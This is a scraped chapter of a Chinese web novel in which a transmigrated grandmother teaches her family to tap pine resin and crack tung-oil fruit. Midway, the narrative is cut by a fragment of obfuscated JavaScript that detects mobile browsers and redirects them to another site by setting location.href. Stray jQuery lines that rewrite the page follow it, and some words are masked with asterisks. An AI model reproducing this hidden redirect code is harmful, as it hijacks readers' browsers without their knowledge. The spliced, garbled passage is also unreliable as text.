第142章 割脂

作品:《穿成老妇?荒山野菜嘎嘎挖!

    沈大山看得眼睛发亮,伸手想碰,被林禾拦住。


    “先别急,还得凿承脂槽。”


    她在“V”字尖角正下方量了一掌宽的距离。


    “这儿得凿个向内向上的小凹槽,刚好卡陶罐口。”


    这次她没拿木锤,直接用大拇指推凿尾,一点点往韧皮部里陷。


    “槽不能深,不然罐口卡不住,但也不能浅,松脂容易从缝里漏。”


    凿好后,她从竹筐里拿出个粗陶小罐,把罐口往凹槽里一放。


    罐口刚好嵌进去,边缘紧紧贴住树干,连一丝缝都没有。


    “卡得真准!”


    王三娘凑近一点看,眼神中透着惊奇。


    她从前只看到过松树上插贝壳,每隔一夜都需要去收。


    在松树上卡罐口的还真是第一次见。


    “接下来就需要绑罐了,咱们选的藤韧劲儿足,外头裹着一层,晒干裂了也不怕,里面还有一层。”


    林禾拿起提前捋顺的树藤,绕着罐颈缠了两圈,打了个活结,留出大半截的藤尾。


    她扶着陶罐调整角度,确保罐口正对着“V”字尖角,才把藤尾往树干上绕。


    林禾一边说一边解释。


    “这个树藤得绕三圈,每圈都要勒紧,最后打个死结,不然罐里松脂满了,或者刮大风,容易掉下来。”


    她拉了拉藤结,确认纹丝不动,才直起身,退后两步打量着旁边那棵松树。


    “大山,你看明白没有?”林禾擦了擦额角的汗,把锤子递给沈大山,“你来试试看。”


    “行!”


    沈大山本来就有些跃跃欲试,看见林禾递过来的锤子,顺势接下。


    他挽了挽粗布袖子,抬起手,手掌裹住刀把,挥刀的力道比林禾沉得多。


    第一刀下去,“咚”的一声,老树皮大块往下掉。


    “慢着!”林禾赶紧拦住,“别削着韧皮部!你看,就削到露出浅黄的层就行,跟我刚才那样。”


    沈大山挠挠头,收了收力气,柴刀的角度也调了调。


    “哎,知道了,这韧皮部跟嫩豆腐似的,我还得再收敛着些力气。”


    他凿主沟时,手臂肌肉绷着,木锤敲下去的声音比林禾响,凿出来的沟又直又深,就是边缘有些**糙。


    王三娘见他这般,主动开口。


    “大山凿得快,剩下的细活我来。”


    王三娘蹲下身,接过小凿子。


    她手指纤细,捏着凿子尖轻轻刮着沟槽边缘,把**糙的韧皮屑一点点刮掉。


    “你看你弄出的沟边,有凸起的地方,松脂流到这儿就卡住了,得修得溜平。”


    她刮得仔细,连“V”字尖角处都用凿尖蹭了蹭,确保没有阻碍。


    王三娘修完沟槽,林禾拿起陶罐,先在罐口边缘抹了点湿泥。


    “这样能贴得更紧,不漏脂。”


    林禾说完,就将陶罐稳稳卡进承脂槽。


    “诶,我记下了。”


    王三娘绑树藤时,她绕得比林禾还整齐,藤尾打了个双死结,还拽着晃了晃。


    “牢固,刮大风都掉不了。”


    林禾站在旁边看着,忽然指着“V”字沟。


    “你们看,渗脂了!”


    三人都凑过去,只见几滴透明的松脂正从沟壁慢慢渗出来。


    松脂像水晶珠子似的,顺着斜面往下滑,到尖角处稍顿一下,“嗒”地滴进陶罐里。


    沈大山手上握着柴刀,咧嘴笑。


    “真成了!这法子比我以前瞎凿管用多了。”


    沈大山在沈家村为了赚些银钱,也想过要上山割松树脂。


    但每次割出的量都很少,他原本以为是树不行。


    现在看来,也许是人不行。


    王三娘瞧见越来越多的树脂开始往外流,也笑着点头。


    “还是娘厉害,连角度都算得这么准。”


    林禾擦了擦手上的木屑。


    “这都是老辈传下来的规矩,按规矩来,树不伤,脂也采得多。”


    林禾最开始不懂,瞧见村民在树上用刀画口子,也开口制止过。


    还是其他一起巡山的前辈们同她解释,她才弄清楚村民们的手法是不会伤害树木的。


    林禾始终记得前辈的那句话。


    住在这里的人,远比我们这些护林员更懂得如何爱惜山林里的一草一木。


    护林员守的是责任。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565646|182632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >但他们守的是信仰。


    林禾当时不懂,自诩学习过相关专业,不比他们差。


    但待了几年之后,也渐渐悟出了其中的道理。


    大妞站在林禾身边,抬头看着她发呆,伸手去拽林禾的一角。


    “奶奶,你怎么了?”


    大妞一向细腻,她能察觉出林禾的异常。


    “没事,大妞递一个陶罐我好不好?”


    林禾抬手摸了一把大妞的脑袋,开口转移话题。


    “好!”


    大妞转身抱来一个小陶罐,举起来递给林禾。


    林禾又握着柴刀继续削皮割松脂。


    沈大山和王三娘没有林禾熟练,即便是两个人一起,还是落后于林禾。


    林禾就趁着割松脂的空隙,帮沈大山和王三娘找合适割松脂的树木。


    她找到就会在树上先割开一个口子。


    带来的十八个小陶罐很快就用完了。


    “挂这么多可以了,两日之后来收。”


    林禾搓着手上粘着的松脂,顺手抹在一旁的松树上。


    “娘,咱们现在还去收棉花吗?”


    沈大山还记得昨天林禾提过一嘴。


    现在天色还不算太晚,若是要收棉花,动作快些应该能行。


    “不收,太阳下山之后潮气重,不是收棉花的时候,白天再收,咱们回去把桐油籽剥出来。”


    林禾将柴刀挂在腰间,带头走出松林。


    回到山洞后,王三娘把收好的油桐果取出来。


    经过这些时日的暴晒,油桐果的状态与刚捡回来时已截然不同。


    原本那些深褐色的外壳,此刻变得异常干燥硬脆。


    颜色也显得灰扑扑的,上面的一些皱纹仿佛更深了。


    有些果子甚至自动裂开了一道道不规则的缝隙。


    林禾随手拿起一个,入手变轻了许多。


    她甚至没有用力去掰,只是用拇指和食指在果壳的裂缝处轻轻一捏。


    “咔嚓!”


    一声清脆的轻响,那坚硬的外壳应声裂成几瓣,像破碎的核桃壳一样向四周散落开,露出了里面包裹着的东西。


    里面并非直接就是桐油籽。